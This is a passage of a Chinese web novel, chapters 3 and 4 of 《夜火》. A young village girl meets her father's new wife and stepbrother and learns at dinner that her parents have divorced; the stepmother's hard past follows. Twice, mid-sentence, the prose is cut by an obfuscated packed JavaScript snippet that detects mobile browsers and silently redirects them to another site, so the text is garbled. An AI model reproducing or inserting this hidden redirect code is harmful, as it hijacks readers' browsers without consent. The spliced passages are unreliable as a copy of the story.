《夜火》 3. 第三章 碎花衬衫的女人出现在堂屋里，烫着一头卷发，耳朵上戴着夸张的饰品，像墙上画报里的人。 许文辉指了指门外的水井，“那儿呢，压一下就出水。” 女人出去了。 许蝉的目光顺着她的身影到了外头，心头刚刚的欣喜落空。 还以为是妈妈，她一声“妈”都要到嘴边了，结果发现是个根本不认识的女人，她记得妈妈并不长这个样子，妈妈离开的时候她六岁，村里的人说她跑了，许蝉不知道什么叫跑了，周海他们有时候会故意笑她，说她妈不要她了，许蝉每次听了都很生气，把周海打得屁滚尿流。 女人洗完了手，又走回了屋里，她的目光先是在许蝉身上上下下扫了一遍，然后嘴角往上牵了牵，露出一个客客气气的笑。 “哟，这就是你女儿吧？”她声音有点尖，笑着看向许文辉。 许文辉点点头，“对，我女儿，叫许蝉，小名小满。” 他说完，又看向许蝉，说：“小满，这是爸爸在省城认识的……朋友，是刚刚那个哥哥的妈妈，你……你先叫她王阿姨吧……” 许文辉话语磕绊，有种说不上来的不自然。 许蝉眨了眨眼，“哦”了一声，叫道：“王阿姨好。” 她抬头叫人时看清了女人的脸。 三十来岁的样子，皮肤保养得比村里的女人好，没什么皱纹，嘴唇是扎眼的红色，眉毛画过，细细弯弯的，长相浓丽，眼尾微微上挑，看人的时候带着一种……怎么说呢，像是在笑，但那笑意没到眼底。 女人笑了两声，鲜红的唇瓣咧开，“乖，文辉老跟我说起你，说你可聪明了，阿姨还给你带了点东西。” 她转身从桌上的帆布包里掏出一条丝带，还有几个花花绿绿的发圈，现在在城里小姑娘中是个很流行的新鲜款式。 女人走过来，发圈自带一团棕色的塑料卷发，戴在许蝉的头上，却与她因为营养不良而略显干枯的头发格格不入，说不上的不协调与怪异。 “真好看，是个小美女！” 女人的态度有种熟稔过头的热络，笑的时候显得声音更尖了。 许蝉没说话，透过拿到面前的梳妆镜，盯着身后为她扎头发的女人看了几秒，然后低下头，小声说了句：“谢谢阿姨。” 女人笑了笑，转头对许文辉说：“你闺女挺乖的。” 许文辉嗯了一声，没接话，堂屋里的空气突然有点闷，像是有什么东西堵在那里，谁都不好先开口捅破。 他有些坐立难安，于是转身将堂屋的门推得更开，外头的热气滚涌进入，却更滞闷了。 许蝉摸了摸耳边的卷发，随口问了句道：“对了爸爸，我妈呢？从进来到现在一直没看到，她和奶奶一起去厨房做饭了吗？” 说完，许蝉放下手，准备出去看看。 “小满！”许文辉喊住她，声音莫名有些急，他脸色似乎红了红，“外面热，你……你别出去，爸爸还给你带了别的东西！” “什么东西呀？” 许蝉又欢喜着跑回来，小孩子就是这样，注意力很容易被别的事情吸引走。 许文辉手忙脚乱地翻蛇皮袋，翻了半天没翻出合适的东西。 女人见状，走上前来。 “小满，你看这是什么？” 她的声音带着那种刻意的、哄小孩的甜腻，许蝉愣愣地抬起头，看见她手里举着一个黑乎乎的东西，顶端竖着一截短短的天线，在灯光下泛着暗沉的金属光泽。 许蝉没见过这东西。 “这是……什么？”许蝉忘了刚才要说的话，眼睛被那东西牢牢吸住了。 “手机。”女人笑了笑，鲜红的嘴唇弯起来，“打电话用的，不用电话线，走到哪儿都能打，城里现在都用这个。” 许蝉瞪大了眼，她之前见周海她爸也有一个，不过和眼前这个有些不太一样。 周海家里开超市，是村里最有钱的人家，他爸有个BP机，响了就要到处找电话回过去，周海他爸从不让人碰，宝贝得很。 但女人手里的这个，比BP机大了一圈，黑色的机身上嵌着一排排凸起的小颗粒。 不用电话线？那声音怎么传过去的？她下意识地伸出手，指尖快要碰到的时候又不太好意思地收了回去。 “拿去看看，没事。” 女人把手机往她手里一塞，然后朝角落里一直不吭声的少年扬了扬下巴，“临蹊，你带妹妹到一边玩去，给她讲讲。” 她使了使眼色，少年与她对视几眼，最后慢吞吞地站起来。 他走过来的时候，许蝉正两只手捧着那个叫“手机”的东西，像捧着一块烫手的山芋，翻来覆去地看，不敢按，也不敢晃，生怕把它弄坏了，可一双眼睛却紧紧盯着，孩子嘛，对新奇的事物总是有数不尽的好奇心。 “你来。” 少年的声音不大，淡声说了一句，转身进了里屋。 “噢噢。” 许蝉跟过去，两只手还捧着手机，眼睛一刻也没离开过那个黑乎乎的玩意儿。 少年转过身，微微低头看了她一眼，他比她高出一大截，许蝉要仰着脖子才能看到他的脸。 “这是按键。”他伸出手，修长的手指在手机的按键上轻轻点了一下，“按了号码，再按这个，就能打通电话。” “那红色的呢？”许蝉问。 “挂断的。” 许蝉“哦”了一声，盯着那一排排按键，上面印着数字和一些她看不懂的字，她试着用拇指按了一下“1”，按键陷下去，发出“嘀”的一声轻响，把她吓了一跳，差点把手里的东西扔出去。 身旁伸过来一只手，稳稳接住。 “不用怕，按不坏。”那个叫做顾临蹊的少年说。 许蝉抬起头看了他一眼，他的表情还是那样，不冷不热的，嘴角也没什么弧度。 “这个能干嘛？”许蝉又问，声音小了些，语气里满是好奇。 “打电话，还能存号码，有来电会响。” 许蝉想了想，把手机举到耳边，歪着脑袋，像是在听什么，她又放下来，翻过来看了看背面，又翻回来。 “这里面……能听见别人的声音？”她问。 “能。” 许蝉的眼睛慢慢亮了起来，像是黑暗中有人擦亮了一根火柴，她捧着手机，拇指摩挲着那排按键，嘴唇动了动。 “那……” 她抬起脸，眼睛一眨不眨地看着顾临蹊，问道：“那是不是也能听见我妈的？” 顾临蹊的嘴角抽了抽，“不能，没有电话号码。” 他的目光落在许蝉脸上，她的眼睛很大，黑亮黑亮的，里面映着手机按键上的反光，带着一种让人说不出来的，小心翼翼的期待，在听到他的话之后又黯淡下来。 许蝉“哦”了一声，低下头，手指又摸了摸那个绿色的按键。 捣鼓了一会儿，她失了兴趣，从口袋里掏出一颗金丝猴奶糖，剥开糖纸塞进嘴里。 奶糖很甜，甜得发腻，黏黏的，在舌尖上慢慢化开。 她含着糖，腮帮子鼓出来一小块，又把糖纸抻平了，折了两折，塞进口袋里。 顾临蹊站在她旁边，没再说话，也没走开。 许蝉又掏出一颗，递给他，“哥哥，你吃吗？” 少年瞥向她，“……不吃。” “哦。” 她扭回头，反手往自己嘴里一塞。 过了一会儿，许奶奶从厨房里探出头，喊道：“吃饭！” 许蝉一听，从床上跳下，跑到门边，又回头，“哥哥，吃饭了。” 那少年“嗯”一声，如之前那般慢吞吞地出来。 饭桌摆在堂屋正中间，几把高低不一的凳子围着，许奶奶炒了几个菜，一盘青椒炒蛋，一盘炒南瓜，一碟咸菜豆腐，还有一碗许爷爷刚从镇上买回来的卤猪头肉，算是招待客人的。 许蝉穿上了爸爸买的新鞋子，坐在凳子上，两只脚够不着地，晃荡晃荡的，红色的新凉鞋穿在脚上，鞋底干干净净，她都不敢往地上踩。 许文辉坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485747|201993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她左边，那个卷发的女人坐在许文辉旁边，旁边是她的儿子。 许蝉想了想他的名字，爸爸刚刚说过，叫什么来着，顾临蹊，她还没开始认字，不晓得是哪几个字。 许蝉偷偷看了他一眼，他坐在那里，后背挺得笔直，筷子拿得端端正正的，并不怎么吃，也不发出任何声音，不像大伯家的堂哥，总能让许蝉想起爷爷养的那些猪，堂哥进食时和它们是一样的动静。 许奶奶给他夹了一块肉，他微微点头，说了声“谢谢奶奶”，声音不高不低，清清爽爽的。 许蝉低头扒了一口饭，心想，可真文静，跟他们村里的孩子真不一样。 “小满，吃点肉。”许文辉给她夹了一块，“你太瘦了。” 他们都不在家的时候，许蝉和爷爷奶奶一起生活，几个月才能吃一次肉，奶奶会养鸡鸭，可是它们生了蛋后，奶奶只会把蛋送给大伯家。 大伯一家住在镇子上，去年盖了新房子，三层小楼，许蝉远远见过，很是气派，但她家中还是土墙，下雨天就漏雨。 一年到头可没几次能吃肉的时候，许蝉疯狂扒拉碗里的肉，吃完了，继续盯着盘子。 许文辉看在眼里，心情复杂，一块接一块地夹。 爷爷看不过去，“她一个姑娘家，吃那么多做什么，别夹了，她吃不下的！” 许蝉嘴里都没嚼完，忙咕哝咕哝地说：“我吃得下吃得下！” 她一把捂住碗，生怕别人来抢。 坐在对面的许爷爷气坏了，却又不好在外人面前发作。 许蝉知道今天有外人在，爷爷不能把她怎么样，忙又夹了两块塞进嘴里。 老头子气得胡须都要翘起来。 许文辉只好打圆场，“孩子长身体呢，多吃是好事。” 见有人给自己撑腰，许蝉哼一声，嚼了两下，突然抬起头来。 对了，都吃饭了，妈怎么还没来呢。 她回头看了一眼厨房的位置，那里空空如也。 “爸爸。” 许蝉放下筷子，看着许文辉。 许文辉正在跟身旁的女人说什么，闻言转过头来，“嗯？” “我妈呢？”许蝉问。 饭桌上安静了一瞬。 许奶奶的筷子顿了一下，在碗沿上磕出“叮”的一声脆响。 “怎么到现在都没看到我妈？她不来吃饭吗？” 许蝉又问了一遍，声音不大，但饭桌上每个人都听清了。 “吃你的饭。”许爷爷把筷子往桌上一搁，皱着眉头看她，“问问问，问什么问！” 许蝉没理他，眼睛一眨不眨地盯着许文辉，爸爸的表情很不自然，眼神闪烁了一下。 她迟钝的脑袋终于察觉到了一点大人们之间古怪的氛围。 为什么提到妈妈的时候，他们的表情都这么…… 许文辉的筷子停在半空中，悬在饭碗上方，像是忘了要夹菜还是要把筷子放下，他的喉结滚了滚，目光从许蝉脸上移到饭碗上，又移回来。 “小满……” 他开口，声音有些发涩。 “我妈在哪儿呢？” 许蝉又问了一遍，这回声音比刚才大了些，“她是不是还在外婆家？我好久没见她了，你们没有一起回来吗？” 问完，不待别人回答她，许蝉先自己自言自语地说：“要是这几天有事回不来也没关系，我可以等等的，我很乖，让我等几天都可以，我……” “你妈不会回来了。” 许文辉声音不大，但很沉，像一块石头砸进水里，把许蝉的话生生截断了。 许蝉愣住了。 她的嘴还张着，上一个字的尾音还含在舌尖上，没来得及收回去。 “为啥？”她问。 许文辉放下筷子，两只手搭在膝盖上，搓了搓，他深吸一口气，声音压得很低，低到像是只给许蝉一个人听的，但饭桌上每个人都听得清清楚楚。 “我和你妈已经离婚两年了，她早就改嫁了，以后不会再回来。” 4. 第四章 许文辉和妻子是在他入狱的第二年离的婚，在此之前，因为他一心想要跟朋友一起搭伙做生意，两个人的关系就已经开始破裂，但还算能维系，直到许文辉被骗，所有的积蓄被卷走不说，还被判了两年牢，妻子就头也不回地走了。 那个时候许蝉还小，并不知道父母之间发生了什么，以为只是像从前一样，两个人出去打工，过一阵子又会回来。 出狱后，他浑浑噩噩，但为了养家糊口，以及受不了村子里的非议，许文辉没呆多久就收拾东西去省城打工了，后来，也是在那儿认识的王晓南。 许文辉说完那一段话后，饭桌上落针可闻，谁都没再动筷子。 许蝉呆呆的，表情茫然。 身处于这样古怪的氛围中，顾临蹊今天第十次后悔跟着母亲一起来到海城。 对于母亲即将结婚的对象，顾临蹊并不看好。 他不知道为什么王晓南会执着于找一个男人来结婚，明明已经经历过一段失败的婚姻和一段失败的感情。 但她向来强势，做什么决定也从来不会与他商量，一个月前，王晓南告诉他，她恋爱了，已经领了证。 顾临蹊愣在原地，在此之前，他甚至不知道那个男人是谁，王晓南说一不二，通知完他后，第二天才带着顾临蹊去和许文辉一起吃饭，闷热的小饭馆里，顾临蹊第一次见到母亲的结婚对象，看着面前那个笑容憨厚，张罗着点菜的男人，顾临蹊一句话也说不出来。 他担心母亲又被骗，提议跟着两个人一起回到男人的家乡，转了两次车，最后租了个摩托，摇摇晃晃才拐进了村子里，黄泥路，土坯房，一眼望到头的贫瘠。 尤其是当得知男人还坐过牢的时候，他真想立刻拽着王晓南回省城去。 刚到村子里的时候，许文辉家里显然还不知道他会突然回来，门户紧闭，他说，可能是去田里了，最近在农忙。 顾临蹊与母亲站在银杏树下，男人去田里叫正在劳作的父母回家，见他走远，顾临蹊忍不住踢了一下脚边的石子，“妈，你非得和他结婚吗？” “不然呢？”王晓南额头热得都是汗，扇了扇手风，说：“不和他结婚我过来干什么，证都领了，难不成去离啊。” “为什么不可以？”顾临蹊着急地说：“离婚什么时候都行，领了个证而已。” 王晓南翻他个白眼，“你当过家家呢，说离就离。” 她简短地说起男人家中的情况，他结过婚，不过前两年离了，有一个女儿，快九岁了，他还坐过两年牢，提起这件事的时候，王晓南很随意，满不在意地说：“经济纠纷而已，不是什么大事，他那是被人坑了，人还是老实的。” 顾临蹊额角突突地跳，不可置信，着急地说：“他说什么就是什么吗？他说是经济纠纷你就信了？万一是杀人呢？你不怕他还在外欠钱吗？妈，我真想不通你图什么，为什么总是自作主张。” 王晓南神情却很平静，将粘在脸颊边汗湿的一点碎发重新拨到耳后，“坐过牢怎么了，你当我傻，杀人就不止做两年牢了，所以肯定不是啊。再说，你爸现在不也在牢里蹲着吗，再差还能比你爸差吗？而且……” 她顿了顿，看向他，“什么叫我自作主张，你才多大，小孩子哪里懂大人之间的事情。” 顾临蹊眼皮子一跳，又来，又是这句话，每次都用这句话来搪塞他的疑问。 他深知母亲就是这样的性子，倔强，说一不二，极重面子，决定好的事情，就是天塌下来都不会更改，顾临蹊劝什么都没用，王晓南根本不会听他的。 王晓南的上一段婚姻很不顺利，她是大着肚子嫁给顾临蹊名义上的父亲的。 而这件事，王晓南没有与儿子讲过，关于王晓南的过去，顾临蹊都是从外公外婆，还有现在在牢里蹲着的“父亲”口中得知。 王晓南是家里最小的女儿，上头有三个哥哥，却有两个都是聋子，她出生的时候顾临蹊的外婆已经四十多了，家里穷，供不起那么多孩子读书，三个哥哥也没怎么上过学，轮到王晓南，能认全自己的名字就已经算不错了。 四年级的时候她考了全镇第二，但那是镇上唯一的小学，总共就两个班，考第二也没什么了不起的，于是王晓南就没再读了。 十六岁那年，王晓南偷了爹妈二百块钱，跟着同乡人去了港城打工。 那时镇上有好些人都南下了，在港城务工一个月抵得上家乡一年的工资，王晓南进了一家制衣厂，一天要站十四个小时，手不能停，厕所只能上三趟，每次不能超过五分钟。 她每个月工资四百块，寄回去一半，剩下的一百要管吃管住管一切，厂里人多，男男女女混在一起，下了班就在宿舍楼下打牌、嗑瓜子、说闲话。 王晓南那时候长得好看，皮肤白，眼睛大，头发又黑又长，在一群灰头土脸的女工里格外扎眼，追她的人不少，但她一个都瞧不上，那些男工，要么跟她一样在流水线上站着，要么在仓库里搬货，下了班就光着膀子喝酒，喝完酒就打架，嘴里永远叼着一根烟，说三句话就要骂一声娘，王晓南觉得他们粗俗，没出息，一辈子也就这样了。 她看上的是厂办的一个文员，那男人也是内陆人，戴一副金丝眼镜，说话慢条斯理的，跟厂里那些粗声大气的男人完全不一样。 后来不知道怎么就好上了，男人会给她写纸条，都是些酸溜溜的诗句，王晓南没读过什么书，但她觉得这些话好听，听着就觉得他跟别的人不一样，再加上独在异乡为异客，颇有种惺惺相惜的感觉。 男人高中毕业，在当时算是学历高的，抄几句古诗文，用来哄她这种没读过书，又向往读书人的小姑娘，一哄一个准。 两个人好了有大半年，王晓南怀孕了。 她当时十九岁，一个人在外头，她把消息告诉男人的那天晚上，却得知那人去年就结婚了，他娶的是厂长的女儿，厂长管着三千多号人，在这片工业区里说一不二。 男人能从一个普通文员做到厂办主任，靠的就是这桩婚事，他需要这段婚姻在港城站稳脚。 他跪在地上，一迭声地说“对不起”，像一台出了故障的录音机，翻来覆去就这三个字。 王晓南没有闹。 不是不想闹，而是她性格天生就倔，她丢不起这个人，她最怕的就是被人笑话。 王晓南把所有的愤怒和委屈都咽了下去，咽得干干净净，连一个嗝都没打。 总之，她辞了厂里的工作，收拾了行李回老家。 那个时候，她肚子已经遮不住了，她妈瞧见她，就抄起门后的扫帚，一边打一边骂，王晓南未婚先孕的消息在村里传开，村里的女人见了她妈就叹气，男人们倒是笑嘻嘻的，看见王晓南时总多看她两眼，眼神里带着一种说不清道不明的东西。 媒人更是不用说了，以前隔三差五就有人上门提亲，现在一个都没有了，直到后来，王晓南的爸妈收了别人八百块，就将大着肚子的女儿嫁了。 那男人姓顾，四十出头，之前娶过两个老婆，都没生出孩子来。他年轻的时候因为打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485748|201993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架斗殴蹲过几年牢，出来之后也没个正经工作，靠种地和打零工过日子。 王晓南不愿意，但也不想让人笑话，笑话她被搞大了肚子，没人要，于是就这么嫁了。 只不过那个男人，不喝酒的时候还行，但一喝了酒，就像变了个人似的，眼珠子发红，嗓门大得能把房顶掀翻，看什么都不顺眼。 顾临蹊小的时候，没少被打，谁叫他是别家的种呢，男人自己生不出孩子，只能认别人做儿子，心里面觉得憋屈，所以总要找别的事情发泄出来。 王晓南身上的青紫就没断过，可她要面子，夏天穿长袖，冬天也穿长袖，从来没有在任何人面前露过胳膊。 那个时候顾临蹊年纪小，还不知道个中缘由，后来大了几岁，开始记事了，就能从父亲口中的“杂种”两个字，以及每次和母亲回娘家，邻居的指指点点中，拼凑出一个真相。 他的生父并不是那个姓顾的男人，至于是谁，王晓南从来没和他说过，顾临蹊仅知的一些事情，也是从别人那里听来的。 不过他不在乎，他只认一个妈，父亲是谁并不重要。 王晓南的第一段婚姻持续到顾临蹊十岁的时候戛然而止，这一年，顾临蹊名义上的父亲因为酒后斗殴，打死了人，被判了八年。 王晓南听到判决的时候，脸上什么表情都没有，说不上是开心，还是不开心。 离婚后，娘俩在省城住了下来，王晓南勤快，能说会道，人又长得漂亮，见人说人话，见鬼说鬼话，总能把顾客哄得眉开眼笑，她自己学着进货，白天在饭店刷碗端盘子，晚上在夜市摆地摊，卖头花、发卡、丝袜之类的小东西，一天能赚几十块钱。 后来，顾临蹊也不知道她是怎么和许文辉认识的，只是听她说起，她打工的饭店常有附近工地的工人来吃饭，估计也就是在那里认识的吧。 这个男人同样没什么学历，但有一身力气，能搬砖，扛水泥。 顾临蹊连这个人的名字都没听说过，等知道的时候，已经是他妈跟他说她要结婚了。 她不是不知道许文辉条件不好，离过婚，有个孩子，坐过牢，但她自己呢？她不也是一样，带着一个更大的儿子，所以谁也别瞧不起谁。 她对顾临蹊提起要跟许文辉一起回去见父母的时候，是直接通知，并没有任何要征询他同意的意思。 顾临蹊没有说不许，他只是沉默，沉默了很久，然后问了一句：“妈，你确定吗？” 王晓南说：“确定。” 顾临蹊就没再问了。 所以现在他坐在这张破旧的饭桌前，面前摆着一碟咸菜豆腐和一盘炒南瓜，旁边坐着他妈和他妈即将嫁的男人，对面坐着那个男人黑瘦刻薄的老父亲和一张嘴就停不下来的老母亲，还有那个头发乱糟糟，胳膊肘上结着血痂，穿着一件明显小了两个码的新衣服的小女孩。 她和他不一样，她并不知道自己的爸爸将要结婚了，甚至不知道自己的亲爸妈已经离婚了。 天真、懵懂、对什么都稀奇，王晓南让他带着妹妹去一边玩，好转移她注意力的时候，顾临蹊面无表情地想，有必要吗，反正迟早要知道的。 但他还是走过去，教那孩子怎么用手机。 现在在饭桌上，女孩又问出了那个问题，这次似乎再也没有借口能隐瞒敷衍下去。 顾临蹊头好痛，他百无聊赖地拨弄着碗里的米粒，听到长久的安静之后，女孩茫然地看向自己局促的父亲，呆呆地问道：“什么意思，爸爸，你不和我妈好了吗？”